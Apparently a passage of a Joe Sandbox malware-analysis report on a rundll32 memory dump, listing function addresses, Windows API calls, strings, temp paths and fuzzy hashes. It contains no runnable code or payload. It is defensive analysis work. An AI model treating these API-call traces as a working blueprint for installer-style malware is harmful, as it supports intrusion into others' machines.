Snapshot File: hcaresult_15_2_3450000_rundll32.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%S.dll$UXTHEME$\
API String ID: 2200240437-1946221925
Opcode ID: f1235826e73436544b3357253fcad0959245c67e4a076b971da83c0809113801
Instruction ID: 13beb46ec9e6339c3d172a9078f4c0d5aaa8d5bacc2b951459b73e1e81e8f338
Opcode Fuzzy Hash: f1235826e73436544b3357253fcad0959245c67e4a076b971da83c0809113801
Instruction Fuzzy Hash: 8001A735A001189FD720EB75DC4DBAF7BE8EB41344F14046AAD09EB281DB70D9488A58

Uniqueness

Uniqueness Score: -1.00%

Function 03451E84 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 170
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 03451EFA
GetTickCount.KERNEL32 ref: 03451FB2
MulDiv.KERNEL32(?,00000064,?), ref: 03451FE2
wsprintfW.USER32 ref: 03451FF3

Strings

... %d%%, xrefs: 03451FED

Memory Dump Source

Source File: 0000000F.00000002.1529625959.0000000003450000.00000040.00001000.00020000.00000000.sdmp, Offset: 03450000, based on PE: true

Associated: 0000000F.00000002.1529625959.00000000034B1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034B8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034BC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_3450000_rundll32.jbxd

Similarity

API ID: CountTick$wsprintf
String ID: ... %d%%
API String ID: 551687249-2449383134
Opcode ID: 9e2ccd5b99ed020d424d4d761cdb44de746aa636270fc62199e12eb4f97ba2d1
Instruction ID: ac12fabbe60410bca6a878f1b78e4059ff00251b5d2df12d864e7b0936078d1f
Opcode Fuzzy Hash: 9e2ccd5b99ed020d424d4d761cdb44de746aa636270fc62199e12eb4f97ba2d1
Instruction Fuzzy Hash: 29518F72A053068BD710DF29E98062BBBE5FB88650F14491FBD55EF346DBB0D804CB9A

Uniqueness

Uniqueness Score: -1.00%

Function 03462C01 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SysStringLen.OLEAUT32(?), ref: 03462B9C
CoUninitialize.OLE32(?,?,?,?,?,?,?,?,7FFFFFFF), ref: 03462DC4
SysFreeString.OLEAUT32(00000000), ref: 03462DD1
SysFreeString.OLEAUT32(?), ref: 03462DD6
SysFreeString.OLEAUT32(00000000), ref: 03462DD9

Strings

S&%, xrefs: 03462C34

Memory Dump Source

Source File: 0000000F.00000002.1529625959.0000000003450000.00000040.00001000.00020000.00000000.sdmp, Offset: 03450000, based on PE: true

Associated: 0000000F.00000002.1529625959.00000000034B1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034B8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034BC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_3450000_rundll32.jbxd

Similarity

API ID: String$Free$Uninitialize
String ID: S&%
API String ID: 3438782679-2433871640
Opcode ID: 46fe8d48296e4c37695221491c95b8aa53f5d7a34a8f6c6ddbcd3a777e09c427
Instruction ID: dc398639bfd0ab9b6124794c8e966121c30e7dfc229b923e6314bb8ad7557c69
Opcode Fuzzy Hash: 46fe8d48296e4c37695221491c95b8aa53f5d7a34a8f6c6ddbcd3a777e09c427
Instruction Fuzzy Hash: 77416730E00219EFCF14DFA9D8909EEB7B5FF48304B2485AEE416AF251DB31A946CB50

Uniqueness

Uniqueness Score: -1.00%

Function 03459F7C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 91
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameW.KERNEL32(00000000,?,00000104,?,?,?), ref: 03459FD1
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000), ref: 0345A03F
WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 0345A0A3
CloseHandle.KERNEL32(00000000), ref: 0345A0AA

Strings

end_install, xrefs: 03459F83

Memory Dump Source

Source File: 0000000F.00000002.1529625959.0000000003450000.00000040.00001000.00020000.00000000.sdmp, Offset: 03450000, based on PE: true

Associated: 0000000F.00000002.1529625959.00000000034B1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034B8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034BC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_3450000_rundll32.jbxd

Similarity

API ID: File$CloseCreateHandleModuleNameWrite
String ID: end_install
API String ID: 1149019145-3120950416
Opcode ID: 619412c0d79a62f414b996eb7be35d4d373b8a795a7ab55480846f0426f4bc69
Instruction ID: 185f45cb0861a9b089ea7d61d71e620a48df00262d962aed0d3f379899ca74e0
Opcode Fuzzy Hash: 619412c0d79a62f414b996eb7be35d4d373b8a795a7ab55480846f0426f4bc69
Instruction Fuzzy Hash: D731B975900214ABDB21EF64DC59FEE7378EF04714F4402DEE90AAB191EB705A88CF55

Uniqueness

Uniqueness Score: -1.00%

Function 03454916 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 80
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

WideCharToMultiByte.KERNEL32(00000000,00000000,C:\Users\user~1\AppData\Local\Temp\nszFA3A.tmp,000000FF,C:\Users\user~1\AppData\Local\Temp\nszFA3A.tmp\nsExec.dll,00000400,00000000,00000000), ref: 03454973
lstrlenA.KERNEL32(C:\Users\user~1\AppData\Local\Temp\nszFA3A.tmp\nsExec.dll), ref: 0345497A

Strings

C:\Users\user~1\AppData\Local\Temp\nszFA3A.tmp\nsExec.dll, xrefs: 0345492A, 0345494A, 03454969, 03454979, 034549D1
C:\Users\user~1\AppData\Local\Temp\nszFA3A.tmp, xrefs: 0345496C

Memory Dump Source

Source File: 0000000F.00000002.1529625959.0000000003450000.00000040.00001000.00020000.00000000.sdmp, Offset: 03450000, based on PE: true

Associated: 0000000F.00000002.1529625959.00000000034B1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034B8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034BC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_3450000_rundll32.jbxd

Similarity

API ID: ByteCharMultiWidelstrlen
String ID: C:\Users\user~1\AppData\Local\Temp\nszFA3A.tmp$C:\Users\user~1\AppData\Local\Temp\nszFA3A.tmp\nsExec.dll
API String ID: 3109718747-688443871
Opcode ID: c292e2d294be57f0d96c5a607e24fcbf477519a29e079dec22c932dcc3803962
Instruction ID: fbf54ba313127b5b354f910a842516f70d93e6345355be5aeb7dcf488d4412e4
Opcode Fuzzy Hash: c292e2d294be57f0d96c5a607e24fcbf477519a29e079dec22c932dcc3803962
Instruction Fuzzy Hash: 6521C136A083015BCA24EE76984067FB2D9BF84250F55492FFD65EF381DB74CC418B5A

Uniqueness

Uniqueness Score: -1.00%

Function 03458295 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 325COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000104,?), ref: 034582B7
GetVolumeInformationW.KERNEL32(?,00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 034582E4
SHGetFolderPathA.SHELL32(00000000,0000001A,00000000,00000000,?), ref: 034583A3

Strings

%02x, xrefs: 03458609

Memory Dump Source

Source File: 0000000F.00000002.1529625959.0000000003450000.00000040.00001000.00020000.00000000.sdmp, Offset: 03450000, based on PE: true

Associated: 0000000F.00000002.1529625959.00000000034B1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034B8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034BC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_3450000_rundll32.jbxd

Similarity

API ID: Path$FolderInformationTempVolume
String ID: %02x
API String ID: 355044727-560843007
Opcode ID: 0852aefa029d40782359421940dd502deb1c84d8963008f143f169b6317143e7
Instruction ID: 28f7d66ac20896bdd567305338f9021fda2ce941791b401579be0b2135910f39
Opcode Fuzzy Hash: 0852aefa029d40782359421940dd502deb1c84d8963008f143f169b6317143e7
Instruction Fuzzy Hash: CCD1B9B5E002289FDB24DF24CC84BEEB775AF45304F1442DEE549AB292DB709AC48F59

Uniqueness

Uniqueness Score: -1.00%

Function 03453DEF Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 93windowtimeCOMMON

Download Yara Rule

APIs

SendMessageTimeoutW.USER32(?,00000000,00000000,00000000,00000000,?,?), ref: 03453E70
SendMessageW.USER32(00000000,00000000,00000000,00000000), ref: 03453E89

Strings

!, xrefs: 03453E38

Memory Dump Source

Source File: 0000000F.00000002.1529625959.0000000003450000.00000040.00001000.00020000.00000000.sdmp, Offset: 03450000, based on PE: true

Associated: 0000000F.00000002.1529625959.00000000034B1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034B8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034BC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_3450000_rundll32.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: 2641d7bc1b1cc487788fa3bfd4f1a2a8213ad79af44757227e8337768e041a31
Instruction ID: 9154e84a2729dd145b583a27f9477495cb52d140704ffddd8f98d117384ea894
Opcode Fuzzy Hash: 2641d7bc1b1cc487788fa3bfd4f1a2a8213ad79af44757227e8337768e041a31
Instruction Fuzzy Hash: 84210939A443109FD338EF35D858B3FB7D4EB84784F00081EF9598E282DA308C458659

Uniqueness

Uniqueness Score: -1.00%

Function 034546E9 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 76registrystringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(C:\Users\user~1\AppData\Local\Temp\nszFA3A.tmp), ref: 03454743

Part of subcall function 03451E84: GetTickCount.KERNEL32 ref: 03451EFA
Part of subcall function 03451E84: GetTickCount.KERNEL32 ref: 03451FB2
Part of subcall function 03451E84: MulDiv.KERNEL32(?,00000064,?), ref: 03451FE2
Part of subcall function 03451E84: wsprintfW.USER32 ref: 03451FF3

RegSetValueExW.KERNEL32(?,?,00000000,?,C:\Users\user~1\AppData\Local\Temp\nszFA3A.tmp,00000000), ref: 034547A3
RegCloseKey.KERNEL32(?), ref: 034547B0

Strings

C:\Users\user~1\AppData\Local\Temp\nszFA3A.tmp, xrefs: 0345473E, 03454761, 03454783, 03454794

Memory Dump Source

Source File: 0000000F.00000002.1529625959.0000000003450000.00000040.00001000.00020000.00000000.sdmp, Offset: 03450000, based on PE: true

Associated: 0000000F.00000002.1529625959.00000000034B1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034B8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034BC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_3450000_rundll32.jbxd

Similarity

API ID: CountTick$CloseValuelstrlenwsprintf
String ID: C:\Users\user~1\AppData\Local\Temp\nszFA3A.tmp
API String ID: 3465457590-2978713302
Opcode ID: 04448892d37172bde50dbeb0067a3edcf152e612638242591e995adc09f797ec
Instruction ID: 73b32e09ce80ca2f41628eb4c12f88b36e01d0a04cd7ac2f65b7e8d0c76b9821
Opcode Fuzzy Hash: 04448892d37172bde50dbeb0067a3edcf152e612638242591e995adc09f797ec
Instruction Fuzzy Hash: EB210A36A483005FD765FF75A844B6EB3E5FBC4700F10082FFA589F242DAB499418B89

Uniqueness

Uniqueness Score: -1.00%

Function 0345266E Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 48stringCOMMON

Download Yara Rule

APIs

lstrcpynW.KERNEL32(C:\,003A0043,00000400,003A0043,00000007,0345238D,00000000,00000000,?,00000000), ref: 0345267C

Part of subcall function 03452610: CharNextW.USER32(00000000,00000000,032AC168,?,00000001,0345367C), ref: 0345261D
Part of subcall function 03452610: CharNextW.USER32(00000000,?,00000001,0345367C), ref: 03452622
Part of subcall function 03452610: CharNextW.USER32(00000000,?,00000001,0345367C), ref: 0345263C

Part of subcall function 03452FDE: CharNextW.USER32(03451393,00000020,771B3420,?,00000000,034510B0,05BCF820,03451393), ref: 03453051
Part of subcall function 03452FDE: CharNextW.USER32(03451393,00000000,?,00000000,034510B0,05BCF820,03451393), ref: 03453062
Part of subcall function 03452FDE: CharNextW.USER32(03451393,00000020,771B3420,?,00000000,034510B0,05BCF820,03451393), ref: 03453067
Part of subcall function 03452FDE: CharPrevW.USER32(03451393,03451393,00000020,771B3420,?,00000000,034510B0,05BCF820,03451393), ref: 0345307F

lstrlenW.KERNEL32(C:\,00000000,?,00000000), ref: 034526C7
GetFileAttributesW.KERNEL32(C:\,?,00000000), ref: 034526D9

Part of subcall function 034530A4: FindFirstFileW.KERNEL32(00000000,034B07A0,00000000,03453740), ref: 034530AC
Part of subcall function 034530A4: FindClose.KERNEL32(00000000), ref: 034530B8

Strings

C:\, xrefs: 03452676, 0345267B, 034526C6, 034526D8

Memory Dump Source

Source File: 0000000F.00000002.1529625959.0000000003450000.00000040.00001000.00020000.00000000.sdmp, Offset: 03450000, based on PE: true

Associated: 0000000F.00000002.1529625959.00000000034B1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034B8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034BC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_3450000_rundll32.jbxd

Similarity

API ID: Char$Next$FileFind$AttributesCloseFirstPrevlstrcpynlstrlen
String ID: C:\
API String ID: 1879705256-3404278061
Opcode ID: e5009e363538643ff3ea110b001f041a8a3d888d1d03000353c89311882ad3c5
Instruction ID: e3543a66221ffd9e3ca69e57121b62b96a7b9522ea5fd56a0a805138c3fcd1d6
Opcode Fuzzy Hash: e5009e363538643ff3ea110b001f041a8a3d888d1d03000353c89311882ad3c5
Instruction Fuzzy Hash: F4F0F429A027211FC664BA389D9423FA5845F05651B080E2FFC12EE2E3DAA0C84581AC

Uniqueness

Uniqueness Score: -1.00%

Function 0345282E Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 43COMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 03452857
GetTempFileNameW.KERNEL32(05BE8820,0073006E,00000000,05BE8020), ref: 03452870

Strings

a, xrefs: 03452850
n, xrefs: 03452849

Memory Dump Source

Source File: 0000000F.00000002.1529625959.0000000003450000.00000040.00001000.00020000.00000000.sdmp, Offset: 03450000, based on PE: true

Associated: 0000000F.00000002.1529625959.00000000034B1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034B8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034BC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_3450000_rundll32.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: a$n
API String ID: 1716503409-3988182524
Opcode ID: 6b83103e6d1bcc1fcf5d91dd88da5ea84363aac99bdbec99e24a3b9a17634d3b
Instruction ID: 538f61d3aed1971924804c59f8755ff6d964f98abd736e58a0135b13ca9bed67
Opcode Fuzzy Hash: 6b83103e6d1bcc1fcf5d91dd88da5ea84363aac99bdbec99e24a3b9a17634d3b
Instruction Fuzzy Hash: 64F0F431B00308EBD714DFA59C45BAEB7E9EF84714F14846FE801AA240E6B049048794

Uniqueness

Uniqueness Score: -1.00%

Function 03452797 Relevance: 6.1, APIs: 4, Instructions: 52filestringCOMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(003A0043,00000000,00000400,00000000,00000000), ref: 034527BB
CreateFileW.KERNEL32(003A0043,80000000,00000001,00000000,?,00000000,00000000), ref: 034527D4
GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 034527EC
lstrcmpW.KERNEL32(003A0043,?), ref: 034527F8

Memory Dump Source

Source File: 0000000F.00000002.1529625959.0000000003450000.00000040.00001000.00020000.00000000.sdmp, Offset: 03450000, based on PE: true

Associated: 0000000F.00000002.1529625959.00000000034B1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034B8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034BC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_3450000_rundll32.jbxd

Similarity

API ID: File$AttributesCreateModuleNamelstrcmp
String ID:
API String ID: 3034808285-0
Opcode ID: 91f7bb3752c1921a1fae31da12f71530892f875e358c8b5c5b39333641443e9e
Instruction ID: df271ebb1e2d766820b40055ebb0b289bfdaaab9e70015ed532755d2dc64c614
Opcode Fuzzy Hash: 91f7bb3752c1921a1fae31da12f71530892f875e358c8b5c5b39333641443e9e
Instruction Fuzzy Hash: 1F0152716053546FD764EB65DC89F7BB7DCEB88710F00462EB916DB381E6606C088AA1

Uniqueness

Uniqueness Score: -1.00%

Function 034521BB Relevance: 6.0, APIs: 4, Instructions: 40COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(00000000,?,00000000), ref: 034521FD
GetLastError.KERNEL32 ref: 03452207
SetFileSecurityW.ADVAPI32(00000000,80000007,00000001), ref: 0345221E
GetLastError.KERNEL32 ref: 0345222C

Memory Dump Source

Source File: 0000000F.00000002.1529625959.0000000003450000.00000040.00001000.00020000.00000000.sdmp, Offset: 03450000, based on PE: true

Associated: 0000000F.00000002.1529625959.00000000034B1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034B8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034BC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_3450000_rundll32.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID:
API String ID: 3449924974-0
Opcode ID: 6f6185572dbb3950d85522a8cad8efde4c05f2d04fde3f2154c3e5351a747d01
Instruction ID: a14ed30e6dc69e23974f15b2cd478f1f32f61f17cd5408c8c94b6359bf22bd67
Opcode Fuzzy Hash: 6f6185572dbb3950d85522a8cad8efde4c05f2d04fde3f2154c3e5351a747d01
Instruction Fuzzy Hash: A3011A75D00209DADB10EBA4D848BAEBBF8EF54315F14091BF905FA241E7B896088B69

Uniqueness

Uniqueness Score: -1.00%

Function 03452BAB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45registryCOMMON

Download Yara Rule

APIs

RegQueryValueExW.KERNEL32(?,00000800,00000000,032AC168,00000000,00000800,00000000,032AC168,?,Exec,80000002,80000002,00000002,03452E5C,Exec,Exec), ref: 03452BEC
RegCloseKey.ADVAPI32(?), ref: 03452BF7

Strings

Exec, xrefs: 03452BB0

Memory Dump Source

Source File: 0000000F.00000002.1529625959.0000000003450000.00000040.00001000.00020000.00000000.sdmp, Offset: 03450000, based on PE: true

Associated: 0000000F.00000002.1529625959.00000000034B1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034B8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034BC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_3450000_rundll32.jbxd

Similarity

API ID: CloseQueryValue
String ID: Exec
API String ID: 3356406503-459137531
Opcode ID: 19d4e2f16bd67627cdb3304b6b759e32298a2c5083b7433fa51f261538902a78
Instruction ID: 1888e1002a2f511d618b5e7dd7e1c6099fd31dfb5648b86b4e7a5457f6459920
Opcode Fuzzy Hash: 19d4e2f16bd67627cdb3304b6b759e32298a2c5083b7433fa51f261538902a78
Instruction Fuzzy Hash: 50011A7691020AABDB21DFA4DC06ADB77E8EF44304F140966BD05E6211E3B5DA94CB94

Uniqueness

Uniqueness Score: -1.00%

Function 0345314B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 18libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000,00000000,UXTHEME,034511B9), ref: 03453157
GetProcAddress.KERNEL32(00000000), ref: 03453174

Part of subcall function 034530C6: GetSystemDirectoryW.KERNEL32(?,00000104), ref: 034530EA
Part of subcall function 034530C6: wsprintfW.USER32 ref: 03453123
Part of subcall function 034530C6: LoadLibraryExW.KERNEL32(?,00000000,00000008), ref: 03453137

Strings

UXTHEME, xrefs: 0345314B

Memory Dump Source

Source File: 0000000F.00000002.1529625959.0000000003450000.00000040.00001000.00020000.00000000.sdmp, Offset: 03450000, based on PE: true

Associated: 0000000F.00000002.1529625959.00000000034B1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034B8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034BC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_3450000_rundll32.jbxd

Similarity

API ID: AddressDirectoryHandleLibraryLoadModuleProcSystemwsprintf
String ID: UXTHEME
API String ID: 2547128583-2858369361
Opcode ID: a78d98b069d8bd14be935bd65fafb7c0444314148e2ba3881d292b68efb930e1
Instruction ID: 64eb305d56998b7794634aeda1d8d7c2ab08371954037a54eedc660e6ee4f3a1
Opcode Fuzzy Hash: a78d98b069d8bd14be935bd65fafb7c0444314148e2ba3881d292b68efb930e1
Instruction Fuzzy Hash: 1FD05B356001445B5A117B7678046AF72DDEE95961719001EFC01EE329D750C80656A4

Uniqueness

Uniqueness Score: -1.00%

Function 03452773 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 17COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNEL32(Exec,Exec,00000001,03453935,Exec,?,?), ref: 03452778
SetFileAttributesW.KERNEL32(Exec,00000000,?,?), ref: 0345278C

Strings

Exec, xrefs: 03452774, 03452777, 0345278B

Memory Dump Source

Source File: 0000000F.00000002.1529625959.0000000003450000.00000040.00001000.00020000.00000000.sdmp, Offset: 03450000, based on PE: true

Associated: 0000000F.00000002.1529625959.00000000034B1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034B8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034BC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_3450000_rundll32.jbxd

Similarity

API ID: AttributesFile
String ID: Exec
API String ID: 3188754299-459137531
Opcode ID: cddfc346d618c269aa52e45c159ce9d508eb570fb000c63c046e3b85fca57e4b
Instruction ID: 8f00e239f7a044fb7580213e5784f8d180fa69fc730bc16e817ac0730d406a38
Opcode Fuzzy Hash: cddfc346d618c269aa52e45c159ce9d508eb570fb000c63c046e3b85fca57e4b
Instruction Fuzzy Hash: CDD0C9326054306B4210756DAC4C8BBA6AADAD6971319476AF8B1A72E8EAA05C0741A0

Uniqueness

Uniqueness Score: -1.00%

Function 034547BB Relevance: 4.6, APIs: 3, Instructions: 65registryCOMMON

Download Yara Rule

APIs

RegCloseKey.KERNEL32(?), ref: 034547B0
RegQueryValueExW.KERNEL32(00000000,00000000,00000000,?,?,?), ref: 034547F5
wsprintfW.USER32 ref: 0345483D

Memory Dump Source

Source File: 0000000F.00000002.1529625959.0000000003450000.00000040.00001000.00020000.00000000.sdmp, Offset: 03450000, based on PE: true

Associated: 0000000F.00000002.1529625959.00000000034B1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034B8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034BC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_3450000_rundll32.jbxd

Similarity

API ID: CloseQueryValuewsprintf
String ID:
API String ID: 2691868063-0
Opcode ID: e919e89c19f1009493de53486058f8cb93e714eb8f9963a47d10def4b6af8f65
Instruction ID: 6085df412a2890168c0cb754db9edef211815525aedc2bb04b89f266f4819d15
Opcode Fuzzy Hash: e919e89c19f1009493de53486058f8cb93e714eb8f9963a47d10def4b6af8f65
Instruction Fuzzy Hash: B411BE39A083809FDB28DF66D85867FB2E4EF49309F04493FF95AAE342D7305645860E

Uniqueness

Uniqueness Score: -1.00%

Function 03454516 Relevance: 4.6, APIs: 3, Instructions: 57stringCOMMON

Download Yara Rule

APIs

Part of subcall function 034530A4: FindFirstFileW.KERNEL32(00000000,034B07A0,00000000,03453740), ref: 034530AC
Part of subcall function 034530A4: FindClose.KERNEL32(00000000), ref: 034530B8

lstrlenW.KERNEL32 ref: 03454564
lstrlenW.KERNEL32(00000000), ref: 0345456E
SHFileOperationW.SHELL32(?), ref: 0345459C

Memory Dump Source

Source File: 0000000F.00000002.1529625959.0000000003450000.00000040.00001000.00020000.00000000.sdmp, Offset: 03450000, based on PE: true

Associated: 0000000F.00000002.1529625959.00000000034B1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034B8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034BC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_3450000_rundll32.jbxd

Similarity

API ID: FileFindlstrlen$CloseFirstOperation
String ID:
API String ID: 1486964399-0
Opcode ID: ec1c3ddcb910dcd62c1d40c636bef5b903ef5c15c63c1d98a626e679166afdf7
Instruction ID: a5a93c2794248c99e6524aa93c7d6cb018c9986f2b5bdc5ab44b6c79b989ed23
Opcode Fuzzy Hash: ec1c3ddcb910dcd62c1d40c636bef5b903ef5c15c63c1d98a626e679166afdf7
Instruction Fuzzy Hash: 80118239A083504BCB28EF7A944562EF7E4AF84350F50882FB945CF351EE75C845874A

Uniqueness

Uniqueness Score: -1.00%

Function 03452324 Relevance: 4.5, APIs: 3, Instructions: 30fileCOMMON

Download Yara Rule

APIs

Part of subcall function 03452773: GetFileAttributesW.KERNEL32(Exec,Exec,00000001,03453935,Exec,?,?), ref: 03452778
Part of subcall function 03452773: SetFileAttributesW.KERNEL32(Exec,00000000,?,?), ref: 0345278C

RemoveDirectoryW.KERNEL32(003A0043,00000007,003A0043,00000007,03452515), ref: 0345233D
SetFileAttributesW.KERNEL32(003A0043,00000000), ref: 0345234E
DeleteFileW.KERNEL32(003A0043,00000007,003A0043,00000007,03452515), ref: 0345235A

Memory Dump Source

Source File: 0000000F.00000002.1529625959.0000000003450000.00000040.00001000.00020000.00000000.sdmp, Offset: 03450000, based on PE: true

Associated: 0000000F.00000002.1529625959.00000000034B1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034B8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034BC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_3450000_rundll32.jbxd

Similarity

API ID: File$Attributes$DeleteDirectoryRemove
String ID:
API String ID: 1655745494-0
Opcode ID: f727e25bf292203b2e7daa9d1c4bd468161972d6d2466817d4b614e3cec0d617
Instruction ID: 53151c4400d4ab5aba618813b442e3176e86e2a3dc9ca61dbbf12239e471e71b
Opcode Fuzzy Hash: f727e25bf292203b2e7daa9d1c4bd468161972d6d2466817d4b614e3cec0d617
Instruction Fuzzy Hash: 0EE0D832B011125BD318A575984CB6767DCDF952B6F0C0D23FE16DE292E6E148474068

Uniqueness

Uniqueness Score: -1.00%

Function 03453348 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 36registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.KERNEL32(00000000,?,00000000,00000000,00000000,00100022,00000000,?,00000000), ref: 0345337F

Strings

", xrefs: 03453350

Memory Dump Source

Source File: 0000000F.00000002.1529625959.0000000003450000.00000040.00001000.00020000.00000000.sdmp, Offset: 03450000, based on PE: true

Associated: 0000000F.00000002.1529625959.00000000034B1000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034B8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000F.00000002.1529625959.00000000034BC000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_3450000_rundll32.jbxd

Similarity

API ID: Create
String ID: "
API String ID: 2289755597-123907689
Opcode ID: 167d0fc3daa661ee96d7e9c02129fb615490535d22cb3942faeb47585a31e56e
Instruction ID: 4b8a71ee1536ead0efb696025f0c226227c2567518481cb0678896e59bca512b
